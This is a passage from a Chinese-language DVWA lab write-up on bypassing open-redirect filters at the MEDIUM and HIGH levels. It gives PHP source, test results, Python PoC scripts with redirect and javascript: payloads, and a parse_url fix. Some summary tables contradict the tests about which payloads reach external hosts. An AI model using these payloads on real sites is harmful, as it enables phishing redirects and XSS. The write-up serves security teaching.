预期结果 :服务端返回 302 Location: javascript:alert(1),开放重定向升级为潜在 XSS。
实测结果(HTTP 层):
text
Status : 302
Location: javascript:alert(1)
服务端返回 Location: javascript:alert(1)。现代浏览器(Chrome 88+)已禁止从 HTTP Location 头执行 javascript: 伪协议,但在旧浏览器或特定上下文中仍可能触发 XSS。这是一个从开放重定向升级为 XSS的交叉发现。
5、Python------PoC脚本
python
#!/usr/bin/env python3
"""
DVWA Open HTTP Redirect - MEDIUM Level PoC
验证: 黑名单拦截 + 四类绕过(协议相对/反斜杠/用户信息/伪协议)
"""
import requests
import re
import sys
BASE_URL = "http://dvwa.cc"
USERNAME = "gordonb"
PASSWORD = "abc123"
def login(session):
r = session.get(f"{BASE_URL}/login.php", timeout=10)
token = re.search(r"name='user_token' value='([^']+)'" , r.text)
token_val = token.group(1) if token else ""
r = session.post(f"{BASE_URL}/login.php", data={
"username": USERNAME, "password": PASSWORD,
"user_token": token_val, "Login": "Login"
}, timeout=10, allow_redirects=False)
return r.status_code in (302, 200)
def set_level(session, level):
session.cookies.set("security", level, domain="dvwa.cc")
r = session.get(f"{BASE_URL}/security.php", timeout=10)
token = re.search(r"name='user_token' value='([^']+)'" , r.text)
token_val = token.group(1) if token else ""
session.post(f"{BASE_URL}/security.php", data={
"security": level, "seclev_submit": "Submit",
"user_token": token_val
}, timeout=10)
return session.cookies.get("security") == level
def test_redirect(session, payload, desc):
url = f"{BASE_URL}/vulnerabilities/open_redirect/source/medium.php?redirect={payload}"
r = session.get(url, timeout=10, allow_redirects=False)
status = r.status_code
location = r.headers.get("Location", "(none)")
body = r.text[:80].replace("\n"," ").strip() if status >= 400 else ""
print(f" [{desc}]")
print(f" Payload : redirect={payload}")
print(f" Status : {status}")
print(f" Location: {location}")
if body:
print(f" Body : {body}")
if status == 302 and "evil" in str(location):
print(f" Verdict : BYPASS - Open redirect to external site!")
elif status == 302 and "javascript" in str(location).lower():
print(f" Verdict : BYPASS - javascript: scheme (potential XSS)")
elif status == 302:
print(f" Verdict : Safe (intra-site)")
else:
print(f" Verdict : Blocked ({status})")
print()
return status, location
def run():
session = requests.Session()
print("=" * 55)
print(" MEDIUM Level - Blacklist Bypass PoC")
print("=" * 55)
if not login(session):
print(" [FAIL] Login failed")
sys.exit(1)
print(" [OK] Login successful (gordonb)")
if not set_level(session, "medium"):
print(" [WARN] Level set failed")
else:
print(" [OK] Security level: medium")
print()
# 1. 正常重定向
test_redirect(session, "info.php?id=1", "Normal (baseline)")
# 2. 绝对URL被拦截
test_redirect(session, "https://evil.example.com", "Absolute URL (blocked)")
# 3. 协议相对绕过
test_redirect(session, "//evil.example.com", "Protocol-relative bypass")
# 4. 反斜杠绕过
test_redirect(session, "\\\\evil.example.com", "Backslash bypass")
# 5. URL用户信息绕过
test_redirect(session, "info.php@evil.example.com", "Userinfo bypass")
# 6. javascript伪协议
test_redirect(session, "javascript:alert(1)", "javascript: scheme")
print("=" * 55)
print(" Conclusion: MEDIUM blacklist regex is trivially bypassed.")
print(" //, \\, @, javascript: all bypass the http(s):// filter.")
print("=" * 55)
if __name__ == "__main__":
run()
脚本说明:
MEDIUM 的脚本在 LOW 的基础上做了三个关键改进------增加 body 捕获、增加 javascript: 判定、引入反斜杠转义。
编写逻辑详解:
| 功能模块 | 说明 |
|---|---|
login(session) |
自动登录 DVWA(带 CSRF token),与 LOW 共用逻辑 |
set_level(session, level) |
切换安全级别到 medium |
test_redirect(session, payload, desc) |
发送请求并检测是否绕过正则黑名单 |
| 检测逻辑 | 检查是否返回 302 重定向(绕过成功)或 500(被拦截) |
| 反检测策略 | \\\\evil.example.com(Python 字符串中转义后为 \\evil.example.com),避免 URL 规范化 |
(1)与 LOW 脚本的区别------增加 body 捕获
python
body = r.text[:80].replace("\n"," ").strip() if status >= 400 else ""
LOW 级别只返回 302 或 500,500 的响应体是固定的 Missing redirect target.,不需要特别展示。MEDIUM 级别有两种 500:参数空时返回 Missing redirect target.,绝对 URL 被拦时返回 Absolute URLs not allowed.------这两条消息不同,必须抓取 body 才能区分"被哪种检查拦了"。[:80] 截断是为了防止错误页面 HTML 过长污染输出。
(2)判定逻辑的扩展------增加 javascript: 伪协议识别
python
if status == 302 and "evil" in str(location):
print(f" Verdict : BYPASS - Open redirect to external site!")
elif status == 302 and "javascript" in str(location).lower():
print(f" Verdict : BYPASS - javascript: scheme (potential XSS)")
elif status == 302:
print(f" Verdict : Safe (intra-site)")
else:
print(f" Verdict : Blocked ({status})")
LOW 的判定只有"evil in location"和"其他"两类。MEDIUM 增加了 javascript: 的独立判定------因为 redirect=javascript:alert(1) 返回的 Location: javascript:alert(1) 不含 evil 字样,如果沿用 LOW 的判定逻辑会被归为 Safe (intra-site),误导读者以为它是正常跳转。实际上这是从开放重定向升级为 XSS 的交叉发现,需要单独标注。
(3)反斜杠 payload 的转义设计------踩坑 ③ 的脚本层面解决方案
python
# Python 源码中写四个反斜杠
test_redirect(session, "\\\\evil.example.com", "Backslash bypass")
为什么 Python 字符串里写 \\\\ 而不是 \\?因为 Python 字符串中 \\ 转义后是一个反斜杠 \,四个 \\\\ 转义后是两个反斜杠 \\------这正是我们要发送给服务端的 payload。如果只写 \\,Python 转义后只有一个 \,服务端收到的是 \evil.example.com,与测试目的不符。
这个转义设计直接解决了踩坑 ③ 中提到的"浏览器地址栏自动将 \\ 规范化为 //"的问题------Python requests 库不做 URL 规范化(不像浏览器那样自动修正 \\ 为 //),所以 \\\\ 会被原样发送到服务端,确保测试的是真正的"反斜杠绕过"而非变相的"协议相对 URL 绕过"。
(4)测试矩阵的设计逻辑------从"验证有无"升级为"验证绕过"
python
test_redirect(session, "info.php?id=1", "Normal (baseline)") # 1. 基线
test_redirect(session, "https://evil.example.com", "Absolute URL (blocked)") # 2. 确认拦截
test_redirect(session, "//evil.example.com", "Protocol-relative bypass") # 3. 核心绕过
test_redirect(session, "\\\\evil.example.com", "Backslash bypass") # 4. 分隔符变体
test_redirect(session, "info.php@evil.example.com", "Userinfo bypass") # 5. URL 结构变体
test_redirect(session, "javascript:alert(1)", "javascript: scheme") # 6. 伪协议变体
MEDIUM 的测试矩阵比 LOW 多了两层逻辑:
- 步骤 2(确认拦截) :先验证防护确实生效------
https://evil.example.com被拦了,说明正则在工作。如果这步都拦不住,后面"绕过"就无从谈起 - 步骤 3-6(绕过矩阵) :按 URL 的不同结构部位系统枚举绕过------协议(
//)、分隔符(\\)、用户信息(@)、伪协议(javascript:)。这不是随机 fuzzing,而是按 RFC 3986 定义的 URL 结构系统枚举------每个 payload 对应 URL 规范的一个"边界情况"

6、AI视角下的开放重定向检测
AI 自动化检测:黑名单绕过的自动化推理
MEDIUM 级别是 AI 自动化检测中最有趣的级别------它不是"有没有防护"的问题(LOW 已经回答了),而是"这个防护够不够"的问题。AI 需要回答的核心问题是:给定一个正则黑名单,哪些输入格式能绕过它?
(1)AI 推理链与分类化绕过策略
AI 读取 MEDIUM 源码后,首先提取正则模式 /http:\/\/|https:\/\//i,然后自动推理:
- 模式覆盖分析 :正则匹配
http://和https://两种前缀,大小写不敏感 - 缺口识别 :浏览器还接受哪些不以
http(s)://开头但能到达外部站点的 URL 格式? - 候选生成:基于 URL 规范(RFC 3986)和浏览器实现差异,生成候选 payload
- 自动验证:逐个发送请求,检查 302 + 外部域
关键 AI 推理:协议相对 URL 的发现 ------AI 知道 RFC 3986 定义了"网络路径引用"(Network Path Reference):以 // 开头的 URL 会继承当前页面的协议。因此 //evil.com 在 http://dvwa.cc 的上下文中等价于 http://evil.com,但不包含 http:// 字符串。这是正则黑名单的天然缺口。这种推理不需要"试"------AI 在不发送任何请求的情况下就能预测 //evil.com 会绕过正则。实际请求只是验证预测的手段。
AI 不是随机 fuzzing,而是按 URL 解析的语义类别系统性地生成 payload:
| 类别 | 原理 | Payload |
|---|---|---|
| 协议省略 | 去掉 http(s): 只留 // |
//evil.com |
| 分隔符替换 | 用 \ 替换 / |
\\evil.com |
| 用户信息利用 | user@host 中 user 可为任意值 |
info.php@evil.com |
| 伪协议注入 | javascript:、data: 不被正则匹配 |
javascript:alert(1) |
| 编码绕过 | URL 编码 %2F%2F 绕过字符串匹配 |
%2F%2Fevil.com |
每一类都对应正则的一个具体缺口,AI 的 payload 矩阵就是对这些缺口的系统化枚举。
(2)差分对比与人工审计对比
将 LOW 和 MEDIUM 的结果做差分,AI 能自动提取一个规律:
MEDIUM 相比 LOW,多拦了
http://和https://两类 payload(2/8),但其余 6 类 payload 在两个级别上的行为完全一致。
这意味着 MEDIUM 的防护增量只有 25%------用一行正则换来了 2 个 payload 的拦截,而攻击面只缩小了 1/4。AI 会据此标注:黑名单策略的投入产出比极低。
人工审计 MEDIUM 时,审计员通常只试 //evil.com 一种绕过就下结论。AI 的优势在于不遗漏:它会同时尝试反斜杠、用户信息、伪协议、编码等多种变体,并自动分类哪些是"重定向到外部"(开放重定向),哪些是"执行 JS"(XSS),哪些是"数据 URI 加载"(内容注入)。
7、 MEDIUM级别------小结
MEDIUM 级别通过正则表达式过滤绝对 URL,但存在多种绕过方式:
- 正则表达式不完整,
//evil.com可绕过 \\evil.com可绕过(反斜杠)info.php@evil.com可绕过(URL 用户信息)javascript:alert(1)可绕过(伪协议,升级为 XSS)- URL 编码可绕过
MEDIUM 级别的教训是:正则黑名单对 URL 的覆盖永远是不完整的 。RFC 3986 定义的 URL 格式、各浏览器的 URL 解析差异、各种伪协议(javascript:、data:、file:)构成了一个庞大的攻击面,任何正则都只能覆盖其中一小部分。与其不断扩大正则的匹配范围,不如换成白名单:只允许站内相对路径,或者像 Impossible 那样用服务端 ID 映射。黑名单是在跟无穷的边界情况赛跑,白名单则是直接关闭赛道。
一句话总结:MEDIUM 级别的过滤是一种弱防护,攻击者可通过多种方式绕过。
四、HIGH 级别 ------ 检查是否包含 info.php
1、 漏洞描述
HIGH 级别引入了白名单思路------要求 redirect 参数中必须包含 info.php 字符串。然而实现方式是 PHP 的 strpos() 函数,只做子串匹配 而非路径前缀匹配或完整 URL 解析。攻击者只要在任意位置插入 info.php 字符串即可绕过:外部 URL 后面加 ?info.php、路径中包含 /info.php、用户信息部分包含 info.php@ 等。
核心机制:
- 使用
strpos()检查redirect参数是否包含info.php - 如果包含,执行重定向
- 如果不包含,返回错误
核心问题:
strpos()只检查字符串是否包含info.php,未验证路径有效性- 子串匹配 ≠ 路径前缀匹配,不是真正的白名单
- 攻击者可以通过查询参数、路径、用户信息、路径遍历绕过
2、查看网页源代码
php
<?php
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (strpos($_GET['redirect'], "info.php") !== false) {
header ("location: " . $_GET['redirect']);
exit;
} else {
http_response_code (500);
?>
<p>You can only redirect to the info page.</p>
<?php
exit;
}
}
http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>
3、分析网页源代码
(1)代码概述
HIGH 级别在 MEDIUM 级别的基础上改用了字符串包含检查(黑名单 → 白名单思路):
| 行 | 代码 | 作用 |
|---|---|---|
| 4 | if (strpos($_GET['redirect'], "info.php") !== false) |
检查是否包含 info.php 子串 |
| 5-6 | header("location: " . $_GET['redirect']); exit; |
包含则放行 |
| 8-11 | http_response_code(500); ... "You can only redirect..." |
不包含则拦截 |
逻辑流程:
- 检查
redirect参数是否存在 - 使用
strpos()检查是否包含info.php - 如果包含,执行重定向
- 如果不包含,返回错误页面
关键区别:strpos vs substr vs parse_url
| 函数 | 匹配方式 | 安全性 |
|---|---|---|
strpos($input, "info.php") |
子串匹配------在输入的任意位置出现即可 | ❌ 可绕过 |
substr($input, 0, 8) === "info.php" |
前缀匹配------只允许输入以 info.php 开头 |
⚠️ 仍有局限但更难绕过 |
parse_url($input, PHP_URL_PATH) === "info.php" |
URL 解析后路径匹配 | ✅ 正确做法 |
switch + ID 映射 |
服务端完全控制 | ✅ 最佳(Impossible 实现) |
(2)漏洞分析
① 漏洞一 ------ strpos() 的局限:
问题分析 :strpos() 只检查字符串是否包含 info.php,不验证路径的有效性。strpos("https://evil.com?info.php", "info.php") 返回 true,因为 info.php 作为查询参数出现在了 URL 中------但它不是路径,只是查询字符串的一部分。白名单本意是"只允许跳转到 info.php 页面",实际变成了"只要 URL 里某个位置有 info.php 这几个字符就行"。
② 漏洞二 ------ 查询参数注入绕过:
问题分析 :攻击者可以在外部 URL 后追加 ?info.php 作为查询参数,strpos 匹配到 info.php 子串,放行。
③ 漏洞三 ------ 路径、用户信息、遍历绕过:
问题分析 :info.php 可以出现在 URL 的多个部位,strpos 都会匹配:
| Payload | info.php 的位置 |
浏览器实际跳转 |
|---|---|---|
https://evil.com?info.php |
查询参数 | evil.com |
https://evil.com/info.php |
路径 | evil.com/info.php |
info.php@evil.com |
URL 用户信息 | evil.com |
info.php/../../evil.com |
路径前缀 + 遍历 | evil.com(浏览器解析 ../ 后) |
对比 MEDIUM 的改进与不足 :HIGH 成功拦住了 MEDIUM 的 //evil.com 和 \\evil.com(因为不含 info.php),也拦住了 javascript: 和 data: 伪协议。但引入了新的攻击面:任何外部 URL 只要追加 ?info.php 就能通过白名单。这是典型的"拆东墙补西墙"------堵住了协议绕过,却打开了查询参数绕过。
四类绕过的 Payload 汇总:
| Payload | 是否通过 | 结果 |
|---|---|---|
info.php |
✅ 通过 | 正常重定向 |
info.php?url=http://evil.com |
✅ 通过 | 绕过! |
info.php#http://evil.com |
✅ 通过 | 绕过! |
http://evil.com/info.php |
✅ 通过 | 绕过! |
4、操作步骤
(1)正常重定向基线
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=info.php?id=1
预期结果 :浏览器跳转到 info.php?id=1,info.php?id=1 包含 info.php 子串,放行。
实测结果(浏览器导航验证):
text
请求 URL: .../source/high.php?redirect=info.php?id=1
跳转后 URL: .../source/info.php?id=1
页面标题: Vulnerability: Open HTTP Redirect :: DVWA
实测结果(HTTP 层):
text
Status : 302
Location: info.php?id=1
正常行为符合预期。
(2)纯外部 URL 被拦截
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com
预期结果 :服务端返回 500 错误,显示 You can only redirect to the info page.,https://www.baidu.com 不含 info.php,拦截成功。
实测结果(浏览器导航验证):
text
请求 URL: .../source/high.php?redirect=https://www.baidu.com
跳转后 URL: .../source/high.php?redirect=https://www.baidu.com ← URL 未变
页面内容: "You can only redirect to the info page." ← HIGH 级别的拦截提示
浏览器标签页标题: (空) ← 页面无 HTML <title>,标签页显示空白
实测结果(HTTP 层):
text
Status : 500
Location: (none)
Body : <p>You can only redirect to the info page.</p>
https://www.baidu.com 不含 info.php,拦截成功。
(3)查询参数绕过
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com?info.php
预期结果 :服务端返回 302 Location: https://www.baidu.com?info.php,浏览器跳转到百度首页。
实测结果(浏览器导航验证):
text
请求 URL: .../source/high.php?redirect=https://www.baidu.com?info.php
跳转后 URL: https://www.baidu.com/?info.php
页面标题: 百度一下,你就知道
实测结果(HTTP 层):
text
Status : 302
Location: https://www.baidu.com?info.php
https://www.baidu.com?info.php 包含 info.php 子串(在查询参数位置),strpos 返回非 false,放行。浏览器跳转到 https://www.baidu.com?info.php------百度首页(?info.php 作为查询参数被百度忽略)。
踩坑 ⑤:URL 中有两个
?,浏览器和 Python requests 的处理方式不同这个 URL 有两个
?:第一个?分隔 DVWA 的redirect=参数和它的值,第二个?是baidu.comURL 自身的查询分隔符。
- Python requests :自动将第二个
?编码为%3F,服务端收到的redirect值是完整的https://www.baidu.com?info.php- 浏览器地址栏 :直接输入时浏览器也能正确处理------第一个
?是 URL 查询参数分隔符,第二个?作为redirect值的一部分传递- 实测中浏览器成功跳转到百度首页,说明两个
?都被正确处理了
(4)路径包含绕过
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com/info.php
预期结果 :服务端返回 302 Location: https://www.baidu.com/info.php,info.php 出现在路径部分,strpos 匹配成功,放行。
实测结果(浏览器导航验证):
text
请求 URL: .../source/high.php?redirect=https://www.baidu.com/info.php
跳转后 URL: https://www.baidu.com/forbiddenip/forbidden.html
页面标题: 您访问的页面不存在!
实测结果(HTTP 层):
text
Status : 302
Location: https://www.baidu.com/info.php
info.php 出现在路径部分,strpos 匹配成功,放行。浏览器跳转到 https://www.baidu.com/info.php------百度服务器上 /info.php 路径不存在,返回了 404 重定向页面。
踩坑 ⑥:百度服务器对不存在路径返回 404 重定向,不影响开放重定向的判定
跳转后 URL 变成了
https://www.baidu.com/forbiddenip/forbidden.html,页面标题"您访问的页面不存在!"。这可能让读者误以为绕过失败了。实际上:服务端确实返回了302 Location: https://www.baidu.com/info.php,浏览器确实跳转到了外部域baidu.com------只是那个路径不存在。用www.baidu.com?info.php(步骤 3)做演示效果更好,因为百度首页存在,跳转后能看到正常页面。
(5)URL 用户信息绕过
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=info.php@evil.example.com
预期结果 :服务端返回 302 Location: info.php@evil.example.com,strpos 匹配到 info.php 子串,HTTP 层绕过成功。注意:浏览器层可能将此 URL 当作相对路径处理,不跳转到外部域(详见下方踩坑 ④)。
实测结果(浏览器导航验证):
text
请求 URL: .../source/high.php?redirect=info.php@evil.example.com
跳转后 URL: .../source/info.php@evil.example.com ← 被当作相对路径!
页面内容: "Missing quote ID." ← info.php 收到奇怪参数 id=evil.example.com 报错
实测结果(HTTP 层):
text
Status : 302
Location: info.php@evil.example.com
踩坑 ④(续):同 MEDIUM 步骤 5,URL 用户信息绕过在浏览器层不跳转到外部域。
服务端返回
302 Location: info.php@evil.example.com------strpos匹配到info.php子串,HTTP 层绕过成功。但浏览器将info.php@evil.example.com当作相对路径处理 (因为它不以/或http(s)://开头),解析为http://dvwa.cc/.../source/info.php@evil.example.com,而不是跳转到evil.example.com。浏览器不会解析 URL 用户信息格式user@host,它只是把整串info.php@evil.example.com当作一个相对路径名处理。在 HIGH 级别中,这个 payload 的独特价值在于:它同时穿透了 MEDIUM 和 HIGH 两层不同原理的防护------
- MEDIUM 正则
/http:\/\/|https:\/\//i不匹配info.php@evil.example.com(不含http(s)://)→ 绕过- HIGH
strpos($input, "info.php")匹配到info.php子串 → 放行同一个 payload,在两个级别上以不同的原因绕过防护。这不是巧合------它说明两层防护都有"字符串匹配"这个共同短板:MEDIUM 检查"不含危险协议",HIGH 检查"包含白名单子串",但两者都不理解 URL 的语义结构。多层叠加的字符串匹配 ≠ 多层防护,每层都可能被同一 payload 从语义层面穿透。
(6)路径遍历绕过
地址栏输入:
text
http://dvwa.cc/vulnerabilities/open_redirect/source/high.php?redirect=info.php/../../evil.example.com
预期结果 :服务端返回 302 Location: info.php/../../evil.example.com,info.php 在路径开头,strpos 匹配,HTTP 层绕过成功。注意:浏览器层不会跳转到外部域------详见下方踩坑。
实测结果(浏览器导航验证):
text
请求 URL: .../source/high.php?redirect=info.php/../../evil.example.com
跳转后 URL: .../vulnerabilities/open_redirect/evil.example.com ← ../../遍历到父目录
页面内容: "404 Not Found" (nginx) ← evil.example.com 被当作站内路径段,不是外部主机
实测结果(HTTP 层):
text
Status : 302
Location: info.php/../../evil.example.com
踩坑 ⑦:路径遍历 payload 的浏览器层效果与预期不同
原以为浏览器解析
../后会把evil.example.com当作主机名跳转到外部域,实际上浏览器的 URL 解析逻辑是:info.php/../../evil.example.com不以/或http(s)://开头,整串被当作相对路径 。../的效果只是路径层级上溯(source/info.php/../../→open_redirect/),最终变成open_redirect/evil.example.com------evil.example.com被当作路径段 而非主机名。所以浏览器停在了dvwa.cc/vulnerabilities/open_redirect/evil.example.com(404),而不是evil.example.com。这意味着:这个 payload 只在 HTTP 层绕过 (
strpos匹配到info.php,返回 302),但浏览器层不产生外部跳转 ------和 MEDIUM 步骤 5、HIGH 步骤 5 的用户信息绕过类似。HIGH 级别四个绕过 payload 中,只有查询参数绕过 (步骤 3)和路径包含绕过(步骤 4)能在浏览器层真正跳转到外部域。
5、Python------PoC脚本
python
#!/usr/bin/env python3
"""
DVWA Open HTTP Redirect - HIGH Level PoC
验证: 子串白名单 + 四类绕过(查询参数/路径/用户信息/遍历)
"""
import requests
import re
import sys
BASE_URL = "http://dvwa.cc"
USERNAME = "gordonb"
PASSWORD = "abc123"
def login(session):
r = session.get(f"{BASE_URL}/login.php", timeout=10)
token = re.search(r"name='user_token' value='([^']+)'" , r.text)
token_val = token.group(1) if token else ""
r = session.post(f"{BASE_URL}/login.php", data={
"username": USERNAME, "password": PASSWORD,
"user_token": token_val, "Login": "Login"
}, timeout=10, allow_redirects=False)
return r.status_code in (302, 200)
def set_level(session, level):
session.cookies.set("security", level, domain="dvwa.cc")
r = session.get(f"{BASE_URL}/security.php", timeout=10)
token = re.search(r"name='user_token' value='([^']+)'" , r.text)
token_val = token.group(1) if token else ""
session.post(f"{BASE_URL}/security.php", data={
"security": level, "seclev_submit": "Submit",
"user_token": token_val
}, timeout=10)
return session.cookies.get("security") == level
def test_redirect(session, payload, desc):
url = f"{BASE_URL}/vulnerabilities/open_redirect/source/high.php?redirect={payload}"
r = session.get(url, timeout=10, allow_redirects=False)
status = r.status_code
location = r.headers.get("Location", "(none)")
body = r.text[:80].replace("\n"," ").strip() if status >= 400 else ""
print(f" [{desc}]")
print(f" Payload : redirect={payload}")
print(f" Status : {status}")
print(f" Location: {location}")
if body:
print(f" Body : {body}")
if status == 302 and "evil" in str(location):
print(f" Verdict : BYPASS - Open redirect to external site!")
elif status == 302:
print(f" Verdict : Safe (intra-site)")
else:
print(f" Verdict : Blocked ({status})")
print()
return status, location
def run():
session = requests.Session()
print("=" * 55)
print(" HIGH Level - Substring Whitelist Bypass PoC")
print("=" * 55)
if not login(session):
print(" [FAIL] Login failed")
sys.exit(1)
print(" [OK] Login successful (gordonb)")
if not set_level(session, "high"):
print(" [WARN] Level set failed")
else:
print(" [OK] Security level: high")
print()
# 1. 正常重定向
test_redirect(session, "info.php?id=1", "Normal (baseline)")
# 2. 纯外部URL被拦截
test_redirect(session, "https://evil.example.com", "Pure external (blocked)")
# 3. 查询参数绕过
test_redirect(session, "https://evil.example.com?info.php", "Query param bypass")
# 4. 路径包含绕过
test_redirect(session, "https://evil.example.com/info.php", "Path bypass")
# 5. URL用户信息绕过
test_redirect(session, "info.php@evil.example.com", "Userinfo bypass")
# 6. 路径遍历绕过
test_redirect(session, "info.php/../../evil.example.com", "Path traversal bypass")
print("=" * 55)
print(" Conclusion: HIGH strpos() substring match is bypassed")
print(" by inserting 'info.php' anywhere in the URL.")
print("=" * 55)
if __name__ == "__main__":
run()
脚本说明:
HIGH 的脚本沿用 MEDIUM 的 test_redirect 函数结构,但测试矩阵完全重新设计 ------从"枚举 URL 格式变体"转为"在 URL 的不同部位插入 info.php 子串"。
编写逻辑详解:
| 功能模块 | 说明 |
|---|---|
login(session) |
自动登录 DVWA(带 CSRF token),与 LOW/MEDIUM 共用逻辑 |
set_level(session, level) |
切换安全级别到 high |
test_redirect(session, payload, desc) |
发送请求并检测是否绕过 strpos 子串匹配 |
| 检测逻辑 | 检查 302 + Location 中是否包含 evil(绕过成功)或 500(被拦截) |
| 测试矩阵 | 6 种 payload:正常基线 + 纯外部 URL + 四类绕过 |
(1)判定逻辑------与 MEDIUM 的关键区别
python
if status == 302 and "evil" in str(location):
print(f" Verdict : BYPASS - Open redirect to external site!")
elif status == 302:
print(f" Verdict : Safe (intra-site)")
else:
print(f" Verdict : Blocked ({status})")
HIGH 去掉了 MEDIUM 中的 javascript: 判定分支------因为 HIGH 的 strpos 检查 info.php 子串,javascript:alert(1) 不含 info.php,会被直接拦截返回 500,不会出现 302 + javascript: 的情况。判定逻辑回归到最简版本:302 + evil = 绕过,其他 = 拦截。
(2)测试矩阵的设计逻辑------按 URL 部位枚举
python
test_redirect(session, "info.php?id=1", "Normal (baseline)") # 1. 基线
test_redirect(session, "https://evil.example.com", "Pure external (blocked)") # 2. 确认拦截
test_redirect(session, "https://evil.example.com?info.php", "Query param bypass") # 3. 查询参数
test_redirect(session, "https://evil.example.com/info.php", "Path bypass") # 4. 路径
test_redirect(session, "info.php@evil.example.com", "Userinfo bypass") # 5. 用户信息
test_redirect(session, "info.php/../../evil.example.com", "Path traversal bypass") # 6. 路径遍历
HIGH 的测试矩阵设计思路与 MEDIUM 根本不同------MEDIUM 是"尝试不同的 URL 格式绕过正则",HIGH 是"在 URL 的不同部位插入白名单关键字绕过 strpos"。设计依据来自 RFC 3986 定义的 URL 六个组成部分:
| URL 部位 | 示例 payload | info.php 在哪里 |
|---|---|---|
| 查询参数 | https://evil.com?info.php |
? 后面的查询字符串 |
| 路径 | https://evil.com/info.php |
URL 路径部分 |
| 用户信息 | info.php@evil.com |
@ 前面的用户信息 |
| 路径遍历 | info.php/../../evil.com |
路径开头 + ../ 遍历 |
每个 payload 对应 URL 的一个特定部位------strpos 不区分部位,只要字符串中出现 info.php 就放行,所以在任意部位插入都能绕过。脚本的设计就是系统枚举这些部位,验证"strpos 的子串匹配在所有 URL 部位都可被绕过"这一假设。
(3)踩坑 ⑤ 在脚本中的体现------两个 ? 的处理
python
test_redirect(session, "https://evil.example.com?info.php", "Query param bypass")
这个 payload 中有两个 ?:第一个 ? 是 DVWA 的 redirect= 参数分隔符,第二个 ? 是 evil.example.com URL 自身的查询分隔符。Python requests 库在构造 URL 时会自动处理这种情况------第一个 ? 之后的内容作为 redirect 参数的值整体传递,服务端 $_GET['redirect'] 收到的是完整的 https://evil.example.com?info.php。这和浏览器地址栏的行为一致(实测确认浏览器也正确处理了双 ?),但与手动构造 URL 时的直觉不同------容易误以为第二个 ? 会截断参数。

6、AI视角下的开放重定向检测
AI 自动化检测:从子串匹配到 URL 语义解析
HIGH 级别是 AI 展示"语义理解 vs 字符串匹配"差异的最佳场景。PHP 的
strpos在做字符串匹配,而浏览器在做 URL 解析------两者之间的语义鸿沟就是漏洞所在。
(1)AI 推理链与函数级安全分析
AI 读取 strpos($_GET['redirect'], "info.php") 后,推理过程如下:
- 函数语义分析 :
strpos返回子串在目标字符串中首次出现的位置,不限定位置------可以是开头、中间、末尾 - 安全意图推断 :白名单意图是"只允许跳转到 info.php 页面",即
redirect的路径部分 应为info.php - 缺口识别 :
strpos匹配的是整个字符串中的任意位置,不区分 URL 的结构部分(scheme、host、path、query、fragment) - 攻击面枚举 :在 URL 的哪些位置可以放置
info.php字符串而不影响跳转目标?
| URL 部位 | 示例 | strpos 匹配 |
浏览器跳转 |
|---|---|---|---|
| 查询参数 | https://evil.com?info.php |
✅ | evil.com |
| 路径 | https://evil.com/info.php |
✅ | evil.com/info.php |
| 用户信息 | info.php@evil.com |
✅ | evil.com |
| Fragment | https://evil.com#info.php |
✅ | evil.com |
| 路径遍历 | info.php/../../evil.com |
✅ | evil.com |
- 自动生成 payload :AI 不需要"灵感",URL 规范(RFC 3986)明确定义了 URL 的六个组成部分,AI 只需在每个部分尝试插入
info.php即可系统性枚举所有绕过路径。
AI 对 PHP 函数的安全评估有一套分类体系:
| 函数 | 匹配类型 | 安全等级 | 典型误用 |
|---|---|---|---|
strpos |
任意位置子串 | ❌ 最弱 | HIGH 级别 |
substr + === |
前缀匹配 | ⚠️ 中等 | 仍可被 info.php@evil.com 绕过 |
parse_url + path 比较 |
URL 结构匹配 | ✅ 正确 | Impossible 级别的思路 |
switch + ID 映射 |
服务端完全控制 | ✅ 最佳 | Impossible 级别的实现 |
AI 在审计代码时,看到 strpos 就标注"子串匹配,需验证输入的 URL 结构";看到 parse_url 就标注"URL 解析,检查 path 部分";看到 switch 就标注"服务端白名单,安全"。这种函数级分类是 AI 代码审计的核心能力。
(2)AI 的组合绕过发现与修复建议生成
HIGH 级别有一个容易被忽略的发现:info.php@evil.example.com 这个 payload 同时穿透了 MEDIUM(正则不匹配 http(s)://)和 HIGH(strpos 匹配到 info.php)两层防护。AI 在差分对比矩阵中能自动识别这种"跨级别通杀 payload":
text
Payload LOW MEDIUM HIGH Impossible
info.php@evil.com ❌ ❌ ❌ 🔒
跨级别通杀 payload 的存在说明:叠加多层弱防护不等于一层强防护 。MEDIUM 的正则 + HIGH 的子串 = 两层都是字符串匹配,都不理解 URL 语义,被同一个语义层面的 payload 一起穿透。AI 会据此生成一条防御建议:将字符串匹配替换为 URL 结构解析(parse_url),而非在字符串匹配的基础上叠加更多字符串匹配。
AI 不会只说"这里有漏洞",它会给出可落地的修复代码:
php
// HIGH 级别的不安全写法
if (strpos($_GET['redirect'], "info.php") !== false) {
header("location: " . $_GET['redirect']);
}
// AI 建议的安全写法
$parsed = parse_url($_GET['redirect']);
if ($parsed !== false &&
!isset($parsed['host']) && // 不含 host = 非外部 URL
isset($parsed['path']) &&
$parsed['path'] === 'info.php') { // 路径精确匹配
header("location: " . $_GET['redirect']);
}
这种修复建议不是"多加几个 if",而是从"字符串匹配"升级到"URL 结构解析"------防护范式从字符串层提升到了语义层。
7、 HIGH级别------小结
HIGH 级别使用 strpos() 检查 info.php,但仍可被绕过:
info.php?url=http://evil.com可绕过(查询参数)https://evil.com?info.php可绕过(查询参数位置)https://evil.com/info.php可绕过(路径位置)info.php@evil.com可绕过(用户信息位置,同时穿透 MEDIUM 和 HIGH)info.php/../../evil.com可绕过(路径遍历)strpos()只检查是否包含,不验证路径有效性
HIGH 级别的教训是:白名单的意图是对的,但实现方式决定了安全等级 。strpos 做的是字符串层面的子串匹配,而开放重定向的防护需要在 URL 语义层面做路径匹配。strpos("https://evil.com?info.php", "info.php") 返回 true,但这个 info.php 是查询参数不是路径------函数"正确"地执行了它的设计(子串查找),但它的设计不适合这个安全场景。不是函数用错了,是选错了函数。
